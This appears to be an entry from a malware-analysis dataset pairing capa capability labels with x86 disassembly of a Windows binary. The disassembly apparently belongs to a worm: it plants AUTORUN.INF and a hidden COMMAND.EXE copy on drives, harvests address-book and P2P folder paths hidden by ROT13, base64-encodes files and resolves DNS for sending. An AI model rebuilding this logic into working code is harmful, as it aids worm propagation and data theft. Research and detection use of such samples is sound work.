joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4043d0
Capabilities:
Enumerate files on windows

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x148
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
push esi
push edi
xor edi, edi
cmp eax, edi
jne 0x404412
lea eax, [esp + 0x14]
push eax
push str..EXE
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [0x43f53c], eax
jne 0x404424
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x148
ret
mov edx, dword [0x43f53c]
lea ecx, [esp + 0x14]
push ecx
push edx
call ebp
test eax, eax
je 0x404403
mov eax, dword [esp + 0x34]
mov ecx, dword [0x421fa4]
cmp eax, ecx
je 0x4044c1
test byte [esp + 0x14], 0x10
jne 0x4044c1
lea ecx, [esp + 0x40]
push 0x421fb8
push ecx
call fcn.0040a3d2
mov esi, eax
push edi
push 0x3c
push esi
call fcn.0040a326
push esi
push 2
lea edx, [esp + 0x28]
push 1
push edx
call fcn.0040a23e
mov eax, dword [esp + 0x31]
mov ecx, dword [esp + 0x30]
and eax, 0xff
and ecx, 0xff
shl eax, 8
or eax, ecx
push edi
push eax
push esi
call fcn.0040a326
push esi
push 2
lea edx, [esp + 0x44]
push 1
push edx
mov word [esp + 0x4c], di
call fcn.0040a23e
add esp, 0x40
push esi
call fcn.0040a0e7
mov al, byte [esp + 0x10]
add esp, 4
cmp al, 0x4c
je 0x4044ba
cmp al, 0x4e
je 0x4044ba
cmp al, 0x50
jne 0x4044c1
cmp byte [esp + 0xd], 0x45
je 0x4044dc
mov ecx, dword [0x43f53c]
lea eax, [esp + 0x14]
push eax
push ecx
call ebp
test eax, eax
je 0x404403
jmp 0x404424
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x158]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
add esp, 0x148
ret
Function at 0x404510
Capabilities:
Copy file
Get disk information
Set file attributes

Disassembly:
sub esp, 0x424
mov eax, dword [str.C:AUTORUN.INF]
mov edx, dword [0x422020]
mov ecx, dword [0x42201c]
mov dword [esp + 4], eax
mov ax, word [0x422024]
push ebx
mov bl, byte [esp + 0x42c]
mov dword [esp + 0x10], edx
mov edx, dword [0x422014]
mov word [esp + 0x14], ax
push esi
mov dword [esp + 0x10], ecx
mov cl, byte [0x422026]
lea eax, [esp + 8]
push edi
mov dword [esp + 0xc], edx
push eax
mov byte [esp + 0x22], cl
mov byte [esp + 0x14], bl
mov byte [esp + 0x10], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 5
je 0x40467e
test eax, eax
je 0x40467e
cmp eax, 1
je 0x40467e
lea ecx, [esp + 0x2f0]
lea edx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4045ad
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x424
ret
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x440]
mov ecx, dword [esp + 0x43c]
mov edx, dword [esp + 0x438]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
push ecx
push edx
lea eax, [esp + 0x130]
push str._s_s._s
push eax
call esi
movsx edi, bl
push edi
lea ecx, [esp + 0x38]
push str._c:COMMAND.EXE
push ecx
call esi
add esp, 0x20
lea edx, [esp + 0x20]
lea eax, [esp + 0x124]
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x404618
pop edi
pop esi
pop ebx
add esp, 0x424
ret
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x20]
push 7
push ecx
call ebx
lea edx, [esp + 0x10]
push 0x421ff8
push edx
call fcn.0040a3d2
mov esi, eax
add esp, 8
test esi, esi
jne 0x404649
pop edi
pop esi
pop ebx
add esp, 0x424
ret
push str._AUTORUN__n
push esi
call fcn.0040b488
push edi
push str.Open__c:COMMAND.EXE___StartExplorer_n
push esi
call fcn.0040b488
push esi
call fcn.0040a0e7
add esp, 0x18
lea eax, [esp + 0x10]
push 7
push eax
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x424
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x424
ret

Function at 0x404690
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push 0
push 0
push 0x4046d0
push 0
push ecx
mov dword [esp + 0x24], 1
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x10
ret
Function at 0x405460
Capabilities:
Create thread

Disassembly:
push ecx
push esi
call fcn.00407080
call fcn.00406350
lea eax, [esp + 4]
push eax
push 0
push 0
push 0x406370
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00407c80
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00407ca0
push 0x400
call esi
jmp 0x40548f

Function at 0x4054c0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 2
call dword [sym.imp.WSOCK32.dll_WSAStartup]
add esp, 0x190
ret

Function at 0x4054e0
Capabilities:
Create thread

Disassembly:
push ecx
lea eax, [esp]
push eax
push 0
push 0
push 0x4054a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
pop ecx
ret

Function at 0x406180
Capabilities:
Create thread

Disassembly:
sub esp, 8
push ebx
push ebp
xor eax, eax
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [0x43f860], eax
call fcn.004053a0
test eax, eax
jne 0x4061c2
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x800
call esi
push 1
call fcn.00407c90
add esp, 4
push 0x3800
call esi
call fcn.004053a0
test eax, eax
je 0x40619b
mov edi, dword [esp + 0x10]
xor eax, eax
cmp edi, 1
sete al
push eax
call fcn.00407c90
add esp, 4
xor ebp, ebp
xor ebx, ebx
xor edi, edi
mov eax, dword [0x43f654]
xor esi, esi
test eax, eax
je 0x406239
mov cl, byte [eax + 8]
inc ebp
test cl, cl
jne 0x406201
inc ebx
test esi, esi
je 0x4061ff
mov cl, byte [esi + 9]
mov dl, byte [eax + 9]
cmp cl, dl
jle 0x406201
mov esi, eax
mov ecx, dword [eax + 4]
cmp ecx, edi
jb 0x40620a
mov edi, ecx
mov eax, dword [eax]
test eax, eax
jne 0x4061e8
cmp ebp, 0x1000
jl 0x406239
call fcn.00406110
cmp ebx, 0x200
jle 0x406239
push 1
mov dword [esp + 0x14], 1
call fcn.00407c90
add esp, 4
jmp 0x406241
mov dword [esp + 0x10], 0
test ebx, ebx
je 0x4062b2
test esi, esi
je 0x4062b2
mov eax, dword [0x43f860]
cmp eax, 4
jb 0x406263
push 0x100
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406192
lea edx, [esp + 0x14]
mov byte [esi + 8], 1
push edx
push 0
push esi
push 0x406300
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x40629e
cmp eax, 0xffffffff
je 0x40629e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x100
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406192
mov byte [esi + 8], 2
push 0x400
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406192
push 0
mov dword [esp + 0x14], 2
call fcn.00407c90
add esp, 4
cmp ebp, 3
jl 0x4062a2
test edi, edi
je 0x4062a2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0x1770
jb 0x4062a2
call fcn.00405e00
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406192
Function at 0x406390
Capabilities:
Delete file

Disassembly:
sub esp, 0x448
push esi
mov esi, dword [esp + 0x450]
test esi, esi
jne 0x4063ac
xor eax, eax
pop esi
add esp, 0x448
ret
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 7
jge 0x4063c2
xor eax, eax
pop esi
add esp, 0x448
ret
push edi
mov ecx, 0x112
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], esi
push eax
call fcn.004064e0
lea ecx, [esp + 0xc]
push ecx
call fcn.004065b0
lea edx, [esp + 0x10]
push edx
call fcn.00406740
lea eax, [esp + 0x14]
push eax
call fcn.00406870
add esp, 0x10
test eax, eax
pop edi
je 0x40640e
xor eax, eax
pop esi
add esp, 0x448
ret
mov ecx, dword [esp + 0x3c0]
mov eax, 0x55555556
shl ecx, 2
imul ecx
mov eax, edx
shr eax, 0x1f
lea eax, [edx + eax + 0x239f]
cdq
and edx, 0x3ff
add eax, edx
sar eax, 0xa
shl eax, 0xa
push eax
push 0x40
mov dword [esp + 0x450], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
mov dword [esp + 0x444], eax
je 0x40647a
lea ecx, [esp + 4]
mov byte [eax], 0
push ecx
call fcn.00406b50
lea edx, [esp + 8]
push edx
call fcn.00406c80
add esp, 8
test eax, eax
je 0x4064af
mov eax, dword [esp + 0x444]
mov cl, byte [esp + 0x1ba]
test cl, cl
je 0x40649a
lea eax, [esp + 0x2bb]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x444]
test eax, eax
je 0x4064a5
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
pop esi
add esp, 0x448
ret
mov al, byte [esp + 0x1ba]
test al, al
je 0x4064c8
lea ecx, [esp + 0x2bb]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x444]
pop esi
add esp, 0x448
ret
Function at 0x406ec0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x414
mov eax, dword [esp + 0x41c]
push ebx
xor ebx, ebx
add eax, 0x2b7
push ebx
push ebx
push 3
push ebx
push 3
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
jne 0x406efe
mov eax, 1
pop ebx
add esp, 0x414
ret
push ebp
push esi
push edi
mov edi, dword [esp + 0x428]
xor ebp, ebp
xor eax, eax
mov dword [esp + 0x18], ebx
xor esi, esi
cmp eax, dword [esp + 0x18]
jb 0x406f48
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x18]
push 0
push ecx
lea edx, [esp + 0x2c]
push 0x400
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x406fa5
mov dword [esp + 0x1c], 0
mov eax, dword [esp + 0x1c]
mov cl, byte [esp + eax + 0x24]
mov byte [esp + ebp + 0x10], cl
inc ebp
inc eax
cmp ebp, 3
mov dword [esp + 0x1c], eax
jne 0x406f12
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
call fcn.00407000
add esp, 8
xor eax, eax
mov cl, byte [esp + eax + 0x14]
mov byte [esi + edi], cl
inc esi
inc ebx
cmp ebx, 0x4c
jb 0x406f89
mov byte [esi + edi], 0xd
inc esi
mov byte [esi + edi], 0xa
inc esi
xor ebx, ebx
inc eax
cmp eax, 4
jb 0x406f6f
mov eax, dword [esp + 0x1c]
xor edx, edx
mov word [esp + 0x10], dx
xor ebp, ebp
mov byte [esp + 0x12], dl
jmp 0x406f12
test ebp, ebp
je 0x406fd9
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
push eax
push ecx
call fcn.00407000
add esp, 8
cmp ebp, 3
mov al, 0x3d
jae 0x406fc6
mov byte [esp + 0x17], al
cmp ebp, 2
jae 0x406fcf
mov byte [esp + 0x16], al
mov edx, dword [esp + 0x14]
mov dword [esi + edi], edx
add esi, 4
mov eax, dword [esp + 0x20]
mov byte [esi + edi], 0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x414
ret
Function at 0x4070b0
Capabilities:
Copy file
Query or enumerate registry value

Disassembly:
sub esp, 0x168
push edi
lea eax, [esp + 0x12c]
push str.FbsgjnerXnmnnGenafsre
push eax
mov dword [esp + 0x10], 0x100
call fcn.00404cf0
lea ecx, [esp + 0x114]
push str.QyQve0
push ecx
call fcn.00404cf0
mov ecx, dword [esp + 0x18]
xor eax, eax
mov edx, ecx
lea edi, [esp + 0x1c]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
add esp, 0x10
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 4]
lea ecx, [esp + 0x12c]
push eax
push 1
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40726e
lea edx, [esp + 8]
lea eax, [esp + 0xc]
push edx
mov edx, dword [esp + 8]
push eax
push 0
lea ecx, [esp + 0x118]
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40726e
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [esp + 0xc]
test al, al
je 0x40726e
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0xc]
push ecx
call edi
cmp byte [esp + eax + 0xb], 0x2f
jne 0x407182
lea edx, [esp + 0xc]
push edx
call edi
mov byte [esp + eax + 0xb], 0x5c
lea eax, [esp + 0xc]
push esi
push eax
call edi
mov cl, byte [esp + eax + 0xf]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp cl, 0x5c
je 0x4071a5
lea ecx, [esp + 0x10]
push 0x414100
push ecx
call esi
call fcn.00404f20
and eax, 0xffff
mov ecx, 0xa
cdq
idiv ecx
lea eax, [esp + 0x10]
mov edx, dword [edx*4 + 0x422c80]
push edx
push eax
call edi
lea ecx, [esp + eax + 0x14]
push ecx
call fcn.00404cf0
add esp, 8
lea edx, [esp + 0x10]
push 0x4140ac
push edx
call esi
call fcn.00404f20
and eax, 0xffff
mov ecx, 6
cdq
idiv ecx
cmp edx, 4
ja case.default.0x4071f6
jmp dword [edx*4 + 0x407278]
lea edx, [esp + 0x10]
push 0x422d50
push edx
call esi
push 0x422920
jmp 0x407251
lea ecx, [esp + 0x10]
push 0x422d4c
push ecx
call esi
lea edx, [esp + 0x10]
push 0x4140b0
push edx
jmp 0x407256
lea eax, [esp + 0x10]
push 0x422d48
push eax
call esi
lea ecx, [esp + 0x10]
push 0x422d44
push ecx
jmp 0x407256
lea edx, [esp + 0x10]
push 0x422d40
push edx
call esi
push 0x422d3c
lea eax, [esp + 0x14]
push eax
call esi
mov edx, dword [esp + 0x174]
lea ecx, [esp + 0x10]
push 1
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop esi
pop edi
add esp, 0x168
ret
Function at 0x4073b0
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x10008
call fcn.0040a7b0
mov eax, dword [esp + 0x1000c]
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push 3
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, ebx
je 0x40748d
cmp esi, 0xffffffff
je 0x40748d
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
lea ecx, [esp + 0x10]
push ebx
push ecx
lea edx, [esp + 0x20]
push 0xfffd
push edx
push esi
xor edi, edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], ebx
call ebp
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x407479
cmp eax, 0xffff
jae 0x407479
add edi, eax
mov byte [esp + eax + 0x18], bl
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.004074a0
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x20]
push ecx
push edx
call fcn.00407290
mov ecx, dword [esp + 0x24]
add esp, 0x10
add ecx, eax
mov dword [esp + 0x14], ecx
jne 0x40745a
cmp edi, 0x4b000
ja 0x407479
lea eax, [esp + 0x10]
push ebx
push eax
lea ecx, [esp + 0x20]
push 0xfffd
push ecx
push esi
mov dword [esp + 0x24], ebx
call ebp
mov eax, dword [esp + 0x10]
cmp eax, ebx
jne 0x40741c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
pop esi
xor eax, eax
pop ebx
add esp, 0x10008
ret
pop esi
mov eax, 1
pop ebx
add esp, 0x10008
ret

Function at 0x4075d0
Capabilities:
Get common file path
Query environment variable

Disassembly:
sub esp, 0x204
lea eax, [esp]
push ebx
push ebp
push esi
push edi
push str.Grzcbenel_Vagrearg_Svyrf
push eax
call fcn.00404cf0
lea ecx, [esp + 0x58]
push str.Ybpny_Frggvatf
push ecx
call fcn.00404cf0
mov ebx, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0x10
xor ebp, ebp
mov ecx, 0x61
xor eax, eax
lea edi, [esp + 0x90]
push 0x184
test ebp, ebp
rep stosd dword es:[edi], eax
jne 0x407632
lea edx, [esp + 0x94]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x407641
lea eax, [esp + 0x94]
push eax
push str.USERPROFILE
call ebx
mov al, byte [esp + 0x90]
test al, al
je 0x4076b7
lea ecx, [esp + 0x90]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [esp + eax + 0x8f], 0x5c
je 0x407673
lea edx, [esp + 0x90]
push 0x414100
push edx
call esi
cmp ebp, 1
jne 0x407696
lea eax, [esp + 0x50]
lea ecx, [esp + 0x90]
push eax
push ecx
call esi
lea edx, [esp + 0x90]
push 0x414100
push edx
call esi
lea eax, [esp + 0x10]
lea ecx, [esp + 0x90]
push eax
push ecx
call esi
lea edx, [esp + 0x90]
push 5
push edx
call fcn.004076d0
add esp, 8
inc ebp
cmp ebp, 2
jl 0x407609
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x204
ret
Function at 0x4076d0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x258
test eax, eax
push esi
jle 0x407876
mov esi, dword [esp + 0x260]
test esi, esi
je 0x407876
cmp byte [esi], 0
je 0x407876
mov eax, dword [0x43f864]
test eax, eax
je 0x407718
push 0x800
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x43f864]
test eax, eax
jne 0x407704
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebp
push edi
lea eax, [esp + 0x10]
push esi
push eax
call ebx
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov cl, byte [esp + eax + 0xf]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp cl, 0x5c
je 0x40774f
lea edx, [esp + 0x10]
push 0x414100
push edx
call ebp
lea eax, [esp + 0x10]
push 0x422dd4
push eax
call ebp
mov ecx, 0x50
xor eax, eax
lea edi, [esp + 0x128]
xor esi, esi
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
test esi, esi
jne 0x40779b
lea ecx, [esp + 0x128]
lea edx, [esp + 0x10]
push ecx
push edx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x407869
test esi, esi
je 0x407869
jmp 0x4077b2
lea eax, [esp + 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40785e
cmp byte [esp + 0x154], 0x2e
jne 0x4077d6
mov al, byte [esp + 0x155]
test al, al
je 0x407773
cmp al, 0x2e
jne 0x4077d6
mov al, byte [esp + 0x156]
test al, al
je 0x407773
mov ecx, dword [esp + 0x26c]
lea edx, [esp + 0x10]
push ecx
push edx
call ebx
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [esp + eax + 0xf], 0x5c
je 0x407803
lea ecx, [esp + 0x10]
push 0x414100
push ecx
call ebp
lea edx, [esp + 0x154]
lea eax, [esp + 0x10]
push edx
push eax
call ebp
mov ecx, dword [esp + 0x128]
and ecx, 0x10
cmp cl, 0x10
jne 0x407844
push 0x4b
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x270]
lea eax, [esp + 0x10]
dec edx
push edx
push eax
call fcn.004076d0
add esp, 8
jmp 0x407773
lea ecx, [esp + 0x128]
lea edx, [esp + 0x10]
push ecx
push edx
call fcn.00407890
add esp, 8
jmp 0x407773
test esi, esi
je 0x407869
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop ebp
pop ebx
xor eax, eax
pop esi
add esp, 0x258
ret
mov eax, 1
pop esi
add esp, 0x258
ret
Function at 0x407a80
Capabilities:
Get file size
Read file via mapping

Disassembly:
sub esp, 0x8c
push ebx
mov eax, dword [esp + 0x94]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 3
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
mov dword [esp + 0x18], edi
je 0x407bc1
cmp edi, 0xffffffff
je 0x407bc1
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0
push 0
push 2
push 0
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x14], ebp
je 0x407baa
cmp ebp, 0xffffffff
je 0x407baa
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x407b25
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov eax, 3
pop ebx
add esp, 0x8c
ret
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0x60]
test eax, eax
jbe 0x407b8a
mov ebp, ecx
mov dword [esp + 0x10], eax
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x1c]
cmp ebp, ebx
mov edx, ebp
rep stosd dword es:[edi], eax
jae 0x407b74
cmp eax, 0x44
jae 0x407b63
mov cl, byte [edx + esi]
mov byte [esp + eax + 0x1c], cl
mov cl, byte [edx + esi]
test cl, cl
je 0x407b63
add edx, 2
inc eax
cmp edx, ebx
jb 0x407b48
test eax, eax
jbe 0x407b74
lea edx, [esp + 0x1c]
push edx
call fcn.004073a0
add esp, 4
mov eax, dword [esp + 0x10]
add ebp, 0x44
dec eax
mov dword [esp + 0x10], eax
jne 0x407b35
mov ebp, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x8c
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 2
pop ebx
add esp, 0x8c
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x8c
ret

Function at 0x407be0
Capabilities:
Get common file path
Get disk information

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov bl, byte [esp + 0xc]
lea ecx, [esp + 0xd]
push 0x422e18
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0xc]
push 0xf
push edx
call fcn.004076d0
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x43
add esp, 8
mov byte [esp + 0xc], al
cmp al, bl
je 0x407c66
lea eax, [esp + 0xc]
push eax
call edi
cmp eax, 3
je 0x407c50
cmp eax, 6
jne 0x407c66
push 0x1fa0
call esi
lea ecx, [esp + 0xc]
push 0xf
push ecx
call fcn.004076d0
add esp, 8
mov al, byte [esp + 0xc]
inc al
cmp al, 0x5a
mov byte [esp + 0xc], al
jl 0x407c3b
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x407cd0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x158
lea eax, [esp + 8]
push str.FbsgjnerZvpebfbsgJNOJNO4Jno_Svyr_Anzr
push eax
call fcn.00404cf0
add esp, 8
lea ecx, [esp]
lea edx, [esp + 8]
push ecx
push 0x20019
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407d58
push edi
mov ecx, 0x40
lea edi, [esp + 0x5c]
mov edx, dword [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x5c]
push eax
push ecx
push 0
push 0
push 0
push edx
mov dword [esp + 0x20], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [esp + 0x5c]
pop edi
test al, al
je 0x407d58
lea ecx, [esp + 0x58]
push ecx
call fcn.00407a80
add esp, 4
add esp, 0x158
ret
Function at 0x408050
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x400
push esi
push edi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [sym.imp.WSOCK32.dll_htons]
mov word [esp + 8], ax
mov ax, word [esp + 0x418]
push 1
mov word [esp + 0xe], ax
call edi
mov edx, dword [esp + 0x414]
lea ecx, [esp + 0x14]
push ecx
push edx
mov word [esp + 0x14], ax
mov word [esp + 0x16], 0
mov word [esp + 0x18], 0
mov word [esp + 0x1a], 0
call fcn.00408110
add esp, 8
mov esi, eax
add esi, 0xc
push 0xf
call edi
mov word [esp + esi + 8], ax
push 1
add esi, 2
call edi
mov edx, dword [esp + 0x40c]
mov word [esp + esi + 8], ax
mov eax, dword [esp + 0x410]
push 0x10
push eax
add esi, 2
push 0
lea ecx, [esp + 0x14]
push esi
push ecx
push edx
call dword [sym.imp.WSOCK32.dll_sendto]
xor ecx, ecx
pop edi
test eax, eax
setle cl
mov eax, ecx
pop esi
add esp, 0x400
ret

Function at 0x408580
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x1c
push str.iphlpapi.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x408597
cmp eax, 0xffffffff
jne 0x4085a2
push str.iphlpapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
push esi
test eax, eax
je 0x40869f
cmp eax, 0xffffffff
je 0x40869f
push str.GetNetworkParams
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40869f
push 0x4000
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
lea eax, [esp + 0xc]
push eax
push ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], 0x4000
call esi
test eax, eax
jne 0x40869f
push edi
lea edi, [ebx + 0x10c]
test edi, edi
mov dword [esp + 0xc], eax
je 0x408684
mov ebx, dword [sym.imp.WSOCK32.dll_htons]
push ebp
mov ebp, dword [sym.imp.WSOCK32.dll_inet_addr]
lea esi, [edi + 4]
test esi, esi
je 0x408679
push 0x35
mov word [esp + 0x20], 2
call ebx
push esi
mov word [esp + 0x22], ax
call ebp
test eax, eax
mov dword [esp + 0x20], eax
je 0x408640
cmp eax, 0xffffffff
jne 0x408656
push esi
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
je 0x408679
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esp + 0x20], eax
test eax, eax
je 0x408679
cmp eax, 0xffffffff
je 0x408679
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.00407d60
add esp, 8
mov dword [esp + 0x10], eax
test eax, eax
jne 0x40867f
mov edi, dword [edi]
test edi, edi
jne 0x408619
mov ebx, dword [esp + 0x18]
pop ebp
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
pop esi
xor eax, eax
pop ebx
add esp, 0x1c
ret